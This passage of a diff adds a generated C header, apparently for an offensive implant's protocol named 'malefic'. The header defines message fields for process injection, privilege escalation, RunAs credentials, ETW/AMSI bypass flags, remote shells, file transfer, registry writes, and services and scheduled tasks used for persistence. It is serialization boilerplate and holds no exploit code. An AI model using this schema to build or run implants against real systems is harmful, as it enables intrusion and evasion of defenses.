malefic_UploadRequest_target_tag 2 +#define malefic_UploadRequest_priv_tag 3 +#define malefic_UploadRequest_data_tag 4 +#define malefic_UploadRequest_hidden_tag 5 +#define malefic_UploadRequest_override_tag 6 +#define malefic_DownloadRequest_path_tag 1 +#define malefic_DownloadRequest_name_tag 2 +#define malefic_DownloadRequest_buffer_size_tag 3 +#define malefic_DownloadRequest_dir_tag 4 +#define malefic_DownloadRequest_cur_tag 5 +#define malefic_DownloadResponse_checksum_tag 1 +#define malefic_DownloadResponse_size_tag 2 +#define malefic_DownloadResponse_cur_tag 3 +#define malefic_DownloadResponse_content_tag 4 +#define malefic_CurlRequest_url_tag 1 +#define malefic_CurlRequest_timeout_tag 2 +#define malefic_CurlRequest_method_tag 3 +#define malefic_CurlRequest_body_tag 4 +#define malefic_CurlRequest_header_tag 5 +#define malefic_CurlRequest_hostname_tag 6 +#define malefic_CurlRequest_HeaderEntry_key_tag 1 +#define malefic_CurlRequest_HeaderEntry_value_tag 2 +#define malefic_ChownRequest_path_tag 1 +#define malefic_ChownRequest_uid_tag 2 +#define malefic_ChownRequest_gid_tag 3 +#define malefic_ChownRequest_recursive_tag 4 +#define malefic_IfconfigResponse_net_interfaces_tag 1 +#define malefic_Registry_hive_tag 1 +#define malefic_Registry_path_tag 2 +#define malefic_Registry_key_tag 3 +#define malefic_RegistryRequest_type_tag 1 +#define malefic_RegistryRequest_registry_tag 2 +#define malefic_RegistryWriteRequest_hive_tag 1 +#define malefic_RegistryWriteRequest_path_tag 2 +#define malefic_RegistryWriteRequest_key_tag 3 +#define malefic_RegistryWriteRequest_string_value_tag 5 +#define malefic_RegistryWriteRequest_byte_value_tag 6 +#define malefic_RegistryWriteRequest_dword_value_tag 7 +#define malefic_RegistryWriteRequest_qword_value_tag 8 +#define malefic_RegistryWriteRequest_regtype_tag 10 +#define malefic_TaskSchedule_name_tag 1 +#define malefic_TaskSchedule_path_tag 2 +#define malefic_TaskSchedule_executable_path_tag 3 +#define malefic_TaskSchedule_trigger_type_tag 4 +#define malefic_TaskSchedule_start_boundary_tag 5 +#define malefic_TaskSchedule_description_tag 6 +#define malefic_TaskSchedule_enabled_tag 7 +#define malefic_TaskSchedule_last_run_time_tag 8 +#define malefic_TaskSchedule_next_run_time_tag 9 +#define malefic_TaskScheduleRequest_type_tag 1 +#define malefic_TaskScheduleRequest_taskschd_tag 2 +#define malefic_TaskSchedulesResponse_schedules_tag 1 +#define malefic_ServiceConfig_name_tag 1 +#define malefic_ServiceConfig_display_name_tag 2 +#define malefic_ServiceConfig_executable_path_tag 3 +#define malefic_ServiceConfig_start_type_tag 4 +#define malefic_ServiceConfig_error_control_tag 5 +#define malefic_ServiceConfig_account_name_tag 6 +#define malefic_ServiceRequest_type_tag 1 +#define malefic_ServiceRequest_service_tag 2 +#define malefic_ServiceStatus_current_state_tag 1 +#define malefic_ServiceStatus_process_id_tag 2 +#define malefic_ServiceStatus_exit_code_tag 3 +#define malefic_ServiceStatus_checkpoint_tag 4 +#define malefic_ServiceStatus_wait_hint_tag 5 +#define malefic_Service_config_tag 1 +#define malefic_Service_status_tag 2 +#define malefic_ServicesResponse_services_tag 1 +#define malefic_WmiQueryRequest_namespace_tag 1 +#define malefic_WmiQueryRequest_args_tag 2 +#define malefic_WmiMethodRequest_namespace_tag 1 +#define malefic_WmiMethodRequest_class_name_tag 2 +#define malefic_WmiMethodRequest_method_name_tag 3 +#define malefic_WmiMethodRequest_params_tag 4 +#define malefic_WmiMethodRequest_ParamsEntry_key_tag 1 +#define malefic_WmiMethodRequest_ParamsEntry_value_tag 2 +#define malefic_RunAsRequest_username_tag 1 +#define malefic_RunAsRequest_domain_tag 2 +#define malefic_RunAsRequest_password_tag 3 +#define malefic_RunAsRequest_program_tag 4 +#define malefic_RunAsRequest_args_tag 5 +#define malefic_RunAsRequest_use_profile_tag 6 +#define malefic_RunAsRequest_netonly_tag 7 +#define malefic_RunAsRequest_use_env_tag 8 +#define malefic_GetSystem_bin_tag 1 +#define malefic_GetSystem_pid_tag 2 +#define malefic_Inject_bin_tag 1 +#define malefic_Inject_pid_tag 2 +#define malefic_Pipe_name_tag 1 +#define malefic_Pipe_target_tag 2 +#define malefic_Pipe_data_tag 4 +#define malefic_PipeRequest_type_tag 1 +#define malefic_PipeRequest_pipe_tag 2 +#define malefic_Switch_urls_tag 1 +#define malefic_TaskCtrl_task_id_tag 1 +#define malefic_TaskCtrl_op_tag 2 +#define malefic_TaskInfo_task_id_tag 1 +#define malefic_TaskInfo_last_tag 2 +#define malefic_TaskInfo_recv_count_tag 3 +#define malefic_TaskInfo_send_count_tag 4 +#define malefic_TaskListResponse_tasks_tag 1 +#define malefic_FFmpegRequest_action_tag 1 +#define malefic_FFmpegRequest_device_name_tag 2 +#define malefic_FFmpegRequest_output_format_tag 3 +#define malefic_FFmpegRequest_output_path_tag 4 +#define malefic_FFmpegRequest_time_tag 5 +#define malefic_PtyRequest_type_tag 1 +#define malefic_PtyRequest_session_id_tag 2 +#define malefic_PtyRequest_shell_tag 3 +#define malefic_PtyRequest_cols_tag 4 +#define malefic_PtyRequest_rows_tag 5 +#define malefic_PtyRequest_input_data_tag 6 +#define malefic_PtyRequest_input_text_tag 7 +#define malefic_PtyRequest_params_tag 8 +#define malefic_PtyRequest_ParamsEntry_key_tag 1 +#define malefic_PtyRequest_ParamsEntry_value_tag 2 +#define malefic_PtyResponse_session_id_tag 1 +#define malefic_PtyResponse_output_data_tag 2 +#define malefic_PtyResponse_output_text_tag 3 +#define malefic_PtyResponse_error_tag 4 +#define malefic_PtyResponse_session_active_tag 5 +#define malefic_PtyResponse_active_sessions_tag 6 +#define malefic_PtyResponse_metadata_tag 7 +#define malefic_PtyResponse_MetadataEntry_key_tag 1 +#define malefic_PtyResponse_MetadataEntry_value_tag 2 +#define malefic_CommonBody_name_tag 1 +#define malefic_CommonBody_u32_array_tag 2 +#define malefic_CommonBody_u64_array_tag 4 +#define malefic_CommonBody_bool_array_tag 6 +#define malefic_CommonBody_string_array_tag 8 +#define malefic_CommonBody_bytes_array_tag 10 + +/* Struct field encoding specification for nanopb */ +#define malefic_Ping_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, nonce, 1) +#define malefic_Ping_CALLBACK NULL +#define malefic_Ping_DEFAULT NULL + +#define malefic_Register_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, proxy, 2) \ +X(a, STATIC, REPEATED, STRING, module, 3) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 4) \ +X(a, STATIC, OPTIONAL, MESSAGE, timer, 5) \ +X(a, STATIC, OPTIONAL, MESSAGE, sysinfo, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, secure, 12) +#define malefic_Register_CALLBACK NULL +#define malefic_Register_DEFAULT NULL +#define malefic_Register_addons_MSGTYPE malefic_Addon +#define malefic_Register_timer_MSGTYPE malefic_Timer +#define malefic_Register_sysinfo_MSGTYPE malefic_SysInfo +#define malefic_Register_secure_MSGTYPE malefic_Secure + +#define malefic_Secure_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, enable, 1) \ +X(a, STATIC, SINGULAR, STRING, key, 2) \ +X(a, STATIC, SINGULAR, STRING, type, 3) \ +X(a, STATIC, SINGULAR, STRING, public_key, 4) +#define malefic_Secure_CALLBACK NULL +#define malefic_Secure_DEFAULT NULL + +#define malefic_KeyExchangeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) \ +X(a, STATIC, SINGULAR, BYTES, signature, 2) \ +X(a, STATIC, SINGULAR, UINT64, timestamp, 3) \ +X(a, STATIC, SINGULAR, STRING, nonce, 4) +#define malefic_KeyExchangeRequest_CALLBACK NULL +#define malefic_KeyExchangeRequest_DEFAULT NULL + +#define malefic_KeyExchangeResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) +#define malefic_KeyExchangeResponse_CALLBACK NULL +#define malefic_KeyExchangeResponse_DEFAULT NULL + +#define malefic_Init_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) +#define malefic_Init_CALLBACK NULL +#define malefic_Init_DEFAULT NULL + +#define malefic_SysInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, filepath, 1) \ +X(a, STATIC, SINGULAR, STRING, workdir, 2) \ +X(a, STATIC, SINGULAR, BOOL, is_privilege, 3) \ +X(a, STATIC, OPTIONAL, MESSAGE, os, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, process, 12) +#define malefic_SysInfo_CALLBACK NULL +#define malefic_SysInfo_DEFAULT NULL +#define malefic_SysInfo_os_MSGTYPE malefic_Os +#define malefic_SysInfo_process_MSGTYPE malefic_Process + +#define malefic_Suicide_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, type, 1) \ +X(a, STATIC, SINGULAR, INT64, timestamp, 2) +#define malefic_Suicide_CALLBACK NULL +#define malefic_Suicide_DEFAULT NULL + +#define malefic_Request_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, input, 2) \ +X(a, STATIC, REPEATED, STRING, args, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) \ +X(a, STATIC, SINGULAR, BYTES, bin, 5) +#define malefic_Request_CALLBACK pb_default_field_callback +#define malefic_Request_DEFAULT NULL +#define malefic_Request_params_MSGTYPE malefic_Request_ParamsEntry + +#define malefic_Request_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Request_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_Request_ParamsEntry_DEFAULT NULL + +#define malefic_Response_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, output, 1) \ +X(a, STATIC, SINGULAR, STRING, error, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, kv, 3) \ +X(a, STATIC, REPEATED, STRING, array, 4) +#define malefic_Response_CALLBACK pb_default_field_callback +#define malefic_Response_DEFAULT NULL +#define malefic_Response_kv_MSGTYPE malefic_Response_KvEntry + +#define malefic_Response_KvEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Response_KvEntry_CALLBACK pb_default_field_callback +#define malefic_Response_KvEntry_DEFAULT NULL + +#define malefic_BypassRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, ETW, 1) \ +X(a, STATIC, SINGULAR, BOOL, AMSI, 2) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 3) +#define malefic_BypassRequest_CALLBACK NULL +#define malefic_BypassRequest_DEFAULT NULL + +#define malefic_NetInterface_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, index, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, STRING, mac, 3) \ +X(a, STATIC, REPEATED, STRING, ip_addresses, 4) +#define malefic_NetInterface_CALLBACK NULL +#define malefic_NetInterface_DEFAULT NULL + +#define malefic_SockTabEntry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, local_addr, 1) \ +X(a, STATIC, SINGULAR, STRING, remote_addr, 2) \ +X(a, STATIC, SINGULAR, STRING, skState, 3) \ +X(a, STATIC, SINGULAR, STRING, pid, 5) \ +X(a, STATIC, SINGULAR, STRING, protocol, 6) +#define malefic_SockTabEntry_CALLBACK NULL +#define malefic_SockTabEntry_DEFAULT NULL + +#define malefic_NetstatResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, socks, 1) +#define malefic_NetstatResponse_CALLBACK NULL +#define malefic_NetstatResponse_DEFAULT NULL +#define malefic_NetstatResponse_socks_MSGTYPE malefic_SockTabEntry + +#define malefic_Block_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, block_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, content, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_Block_CALLBACK NULL +#define malefic_Block_DEFAULT NULL + +#define malefic_ACK_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, id, 1) \ +X(a, STATIC, SINGULAR, BOOL, success, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_ACK_CALLBACK NULL +#define malefic_ACK_DEFAULT NULL + +#define malefic_Os_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, version, 2) \ +X(a, STATIC, SINGULAR, STRING, release, 3) \ +X(a, STATIC, SINGULAR, STRING, arch, 4) \ +X(a, STATIC, SINGULAR, STRING, username, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) \ +X(a, STATIC, SINGULAR, STRING, locale, 7) \ +X(a, STATIC, REPEATED, STRING, clr_version, 8) +#define malefic_Os_CALLBACK NULL +#define malefic_Os_DEFAULT NULL + +#define malefic_Process_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 3) \ +X(a, STATIC, SINGULAR, STRING, owner, 4) \ +X(a, STATIC, SINGULAR, STRING, arch, 5) \ +X(a, STATIC, SINGULAR, STRING, path, 6) \ +X(a, STATIC, SINGULAR, STRING, args, 7) \ +X(a, STATIC, SINGULAR, STRING, uid, 8) +#define malefic_Process_CALLBACK NULL +#define malefic_Process_DEFAULT NULL + +#define malefic_Timer_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, expression, 1) \ +X(a, STATIC, SINGULAR, DOUBLE, jitter, 2) +#define malefic_Timer_CALLBACK NULL +#define malefic_Timer_DEFAULT NULL + +#define malefic_FileInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Name, 1) \ +X(a, STATIC, SINGULAR, BOOL, IsDir, 2) \ +X(a, STATIC, SINGULAR, UINT64, Size, 3) \ +X(a, STATIC, SINGULAR, INT64, ModTime, 4) \ +X(a, STATIC, SINGULAR, UINT32, Mode, 5) \ +X(a, STATIC, SINGULAR, STRING, Link, 6) +#define malefic_FileInfo_CALLBACK NULL +#define malefic_FileInfo_DEFAULT NULL + +#define malefic_SacrificeProcess_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 1) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 2) \ +X(a, STATIC, SINGULAR, BOOL, etw, 3) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 4) \ +X(a, STATIC, SINGULAR, STRING, argue, 5) +#define malefic_SacrificeProcess_CALLBACK NULL +#define malefic_SacrificeProcess_DEFAULT NULL + +#define malefic_LsResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Path, 1) \ +X(a, STATIC, SINGULAR, BOOL, Exists, 2) \ +X(a, STATIC, REPEATED, MESSAGE, Files, 3) +#define malefic_LsResponse_CALLBACK NULL +#define malefic_LsResponse_DEFAULT NULL +#define malefic_LsResponse_Files_MSGTYPE malefic_FileInfo + +#define malefic_DriveInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, drive_type, 2) \ +X(a, STATIC, SINGULAR, UINT64, total_size, 3) \ +X(a, STATIC, SINGULAR, UINT64, free_size, 4) \ +X(a, STATIC, SINGULAR, STRING, file_system, 5) +#define malefic_DriveInfo_CALLBACK NULL +#define malefic_DriveInfo_DEFAULT NULL + +#define malefic_EnumDriversResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, drives, 1) +#define malefic_EnumDriversResponse_CALLBACK NULL +#define malefic_EnumDriversResponse_DEFAULT NULL +#define malefic_EnumDriversResponse_drives_MSGTYPE malefic_DriveInfo + +#define malefic_PsResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, processes, 1) +#define malefic_PsResponse_CALLBACK NULL +#define malefic_PsResponse_DEFAULT NULL +#define malefic_PsResponse_processes_MSGTYPE malefic_Process + +#define malefic_ExecRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) \ +X(a, STATIC, SINGULAR, BOOL, output, 3) \ +X(a, STATIC, SINGULAR, BOOL, singleton, 4) \ +X(a, STATIC, SINGULAR, BOOL, realtime, 5) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 10) +#define malefic_ExecRequest_CALLBACK NULL +#define malefic_ExecRequest_DEFAULT NULL + +#define malefic_ExecResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, status_code, 1) \ +X(a, STATIC, SINGULAR, BYTES, stdout, 2) \ +X(a, STATIC, SINGULAR, BYTES, stderr, 3) \ +X(a, STATIC, SINGULAR, UINT32, pid, 4) \ +X(a, STATIC, SINGULAR, BOOL, end, 5) +#define malefic_ExecResponse_CALLBACK NULL +#define malefic_ExecResponse_DEFAULT NULL + +#define malefic_BinaryResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) \ +X(a, STATIC, SINGULAR, BYTES, message, 2) \ +X(a, STATIC, SINGULAR, INT32, status, 3) \ +X(a, STATIC, SINGULAR, STRING, err, 4) +#define malefic_BinaryResponse_CALLBACK NULL +#define malefic_BinaryResponse_DEFAULT NULL + +#define malefic_Modules_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, modules, 1) +#define malefic_Modules_CALLBACK NULL +#define malefic_Modules_DEFAULT NULL + +#define malefic_Addons_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 1) +#define malefic_Addons_CALLBACK NULL +#define malefic_Addons_DEFAULT NULL +#define malefic_Addons_addons_MSGTYPE malefic_Addon + +#define malefic_Addon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) +#define malefic_Addon_CALLBACK NULL +#define malefic_Addon_DEFAULT NULL + +#define malefic_LoadModule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, bundle, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) +#define malefic_LoadModule_CALLBACK NULL +#define malefic_LoadModule_DEFAULT NULL + +#define malefic_LoadAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) \ +X(a, STATIC, SINGULAR, BYTES, bin, 4) +#define malefic_LoadAddon_CALLBACK NULL +#define malefic_LoadAddon_DEFAULT NULL + +#define malefic_ExecuteAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, addon, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, execute_binary, 2) +#define malefic_ExecuteAddon_CALLBACK NULL +#define malefic_ExecuteAddon_DEFAULT NULL +#define malefic_ExecuteAddon_execute_binary_MSGTYPE malefic_ExecuteBinary + +#define malefic_ExecuteBinary_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, param, 3) \ +X(a, STATIC, SINGULAR, STRING, type, 4) \ +X(a, STATIC, SINGULAR, STRING, process_name, 5) \ +X(a, STATIC, REPEATED, STRING, args, 6) \ +X(a, STATIC, SINGULAR, STRING, entry_point, 7) \ +X(a, STATIC, SINGULAR, BYTES, data, 8) \ +X(a, STATIC, SINGULAR, BOOL, output, 9) \ +X(a, STATIC, SINGULAR, UINT32, arch, 10) \ +X(a, STATIC, SINGULAR, UINT32, timeout, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 12) \ +X(a, STATIC, SINGULAR, STRING, path, 13) \ +X(a, STATIC, SINGULAR, STRING, context, 14) \ +X(a, STATIC, SINGULAR, UINT32, delay, 15) +#define malefic_ExecuteBinary_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_DEFAULT NULL +#define malefic_ExecuteBinary_param_MSGTYPE malefic_ExecuteBinary_ParamEntry +#define malefic_ExecuteBinary_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_ExecuteBinary_ParamEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_ExecuteBinary_ParamEntry_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_ParamEntry_DEFAULT NULL + +#define malefic_ExecuteCommand_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, command, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 2) +#define malefic_ExecuteCommand_CALLBACK NULL +#define malefic_ExecuteCommand_DEFAULT NULL +#define malefic_ExecuteCommand_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_UploadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, UINT32, priv, 3) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 5) \ +X(a, STATIC, SINGULAR, BOOL, override, 6) +#define malefic_UploadRequest_CALLBACK NULL +#define malefic_UploadRequest_DEFAULT NULL + +#define malefic_DownloadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, UINT32, buffer_size, 3) \ +X(a, STATIC, SINGULAR, BOOL, dir, 4) \ +X(a, STATIC, SINGULAR, INT32, cur, 5) +#define malefic_DownloadRequest_CALLBACK NULL +#define malefic_DownloadRequest_DEFAULT NULL + +#define malefic_DownloadResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, checksum, 1) \ +X(a, STATIC, SINGULAR, UINT64, size, 2) \ +X(a, STATIC, SINGULAR, INT32, cur, 3) \ +X(a, STATIC, SINGULAR, BYTES, content, 4) +#define malefic_DownloadResponse_CALLBACK NULL +#define malefic_DownloadResponse_DEFAULT NULL + +#define malefic_CurlRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, url, 1) \ +X(a, STATIC, SINGULAR, INT32, timeout, 2) \ +X(a, STATIC, SINGULAR, STRING, method, 3) \ +X(a, STATIC, SINGULAR, BYTES, body, 4) \ +X(a, CALLBACK, REPEATED, MESSAGE, header, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) +#define malefic_CurlRequest_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_DEFAULT NULL +#define malefic_CurlRequest_header_MSGTYPE malefic_CurlRequest_HeaderEntry + +#define malefic_CurlRequest_HeaderEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_CurlRequest_HeaderEntry_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_HeaderEntry_DEFAULT NULL + +#define malefic_ChownRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, uid, 2) \ +X(a, STATIC, SINGULAR, STRING, gid, 3) \ +X(a, STATIC, SINGULAR, BOOL, recursive, 4) +#define malefic_ChownRequest_CALLBACK NULL +#define malefic_ChownRequest_DEFAULT NULL + +#define malefic_IfconfigResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, net_interfaces, 1) +#define malefic_IfconfigResponse_CALLBACK NULL +#define malefic_IfconfigResponse_DEFAULT NULL +#define malefic_IfconfigResponse_net_interfaces_MSGTYPE malefic_NetInterface + +#define malefic_RegistryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, registry, 2) +#define malefic_RegistryRequest_CALLBACK NULL +#define malefic_RegistryRequest_DEFAULT NULL +#define malefic_RegistryRequest_registry_MSGTYPE malefic_Registry + +#define malefic_Registry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) +#define malefic_Registry_CALLBACK NULL +#define malefic_Registry_DEFAULT NULL + +#define malefic_RegistryWriteRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) \ +X(a, STATIC, SINGULAR, STRING, string_value, 5) \ +X(a, STATIC, SINGULAR, BYTES, byte_value, 6) \ +X(a, STATIC, SINGULAR, UINT32, dword_value, 7) \ +X(a, STATIC, SINGULAR, UINT64, qword_value, 8) \ +X(a, STATIC, SINGULAR, UINT32, regtype, 10) +#define malefic_RegistryWriteRequest_CALLBACK NULL +#define malefic_RegistryWriteRequest_DEFAULT NULL + +#define malefic_TaskScheduleRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, taskschd, 2) +#define malefic_TaskScheduleRequest_CALLBACK NULL +#define malefic_TaskScheduleRequest_DEFAULT NULL +#define malefic_TaskScheduleRequest_taskschd_MSGTYPE malefic_TaskSchedule + +#define malefic_TaskSchedule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, trigger_type, 4) \ +X(a, STATIC, SINGULAR, STRING, start_boundary, 5) \ +X(a, STATIC, SINGULAR, STRING, description, 6) \ +X(a, STATIC, SINGULAR, BOOL, enabled, 7) \ +X(a, STATIC, SINGULAR, STRING, last_run_time, 8) \ +X(a, STATIC, SINGULAR, STRING, next_run_time, 9) +#define malefic_TaskSchedule_CALLBACK NULL +#define malefic_TaskSchedule_DEFAULT NULL + +#define malefic_TaskSchedulesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, schedules, 1) +#define malefic_TaskSchedulesResponse_CALLBACK NULL +#define malefic_TaskSchedulesResponse_DEFAULT NULL +#define malefic_TaskSchedulesResponse_schedules_MSGTYPE malefic_TaskSchedule + +#define malefic_ServiceRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, service, 2) +#define malefic_ServiceRequest_CALLBACK NULL +#define malefic_ServiceRequest_DEFAULT NULL +#define malefic_ServiceRequest_service_MSGTYPE malefic_ServiceConfig + +#define malefic_ServiceConfig_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, display_name, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, start_type, 4) \ +X(a, STATIC, SINGULAR, UINT32, error_control, 5) \ +X(a, STATIC, SINGULAR, STRING, account_name, 6) +#define malefic_ServiceConfig_CALLBACK NULL +#define malefic_ServiceConfig_DEFAULT NULL + +#define malefic_ServiceStatus_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, current_state, 1) \ +X(a, STATIC, SINGULAR, UINT32, process_id, 2) \ +X(a, STATIC, SINGULAR, UINT32, exit_code, 3) \ +X(a, STATIC, SINGULAR, UINT32, checkpoint, 4) \ +X(a, STATIC, SINGULAR, UINT32, wait_hint, 5) +#define malefic_ServiceStatus_CALLBACK NULL +#define malefic_ServiceStatus_DEFAULT NULL + +#define malefic_Service_FIELDLIST(X, a) \ +X(a, STATIC, OPTIONAL, MESSAGE, config, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, status, 2) +#define malefic_Service_CALLBACK NULL +#define malefic_Service_DEFAULT NULL +#define malefic_Service_config_MSGTYPE malefic_ServiceConfig +#define malefic_Service_status_MSGTYPE malefic_ServiceStatus + +#define malefic_ServicesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, services, 1) +#define malefic_ServicesResponse_CALLBACK NULL +#define malefic_ServicesResponse_DEFAULT NULL +#define malefic_ServicesResponse_services_MSGTYPE malefic_Service + +#define malefic_WmiQueryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) +#define malefic_WmiQueryRequest_CALLBACK NULL +#define malefic_WmiQueryRequest_DEFAULT NULL + +#define malefic_WmiMethodRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, SINGULAR, STRING, class_name, 2) \ +X(a, STATIC, SINGULAR, STRING, method_name, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) +#define malefic_WmiMethodRequest_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_DEFAULT NULL +#define malefic_WmiMethodRequest_params_MSGTYPE malefic_WmiMethodRequest_ParamsEntry + +#define malefic_WmiMethodRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, 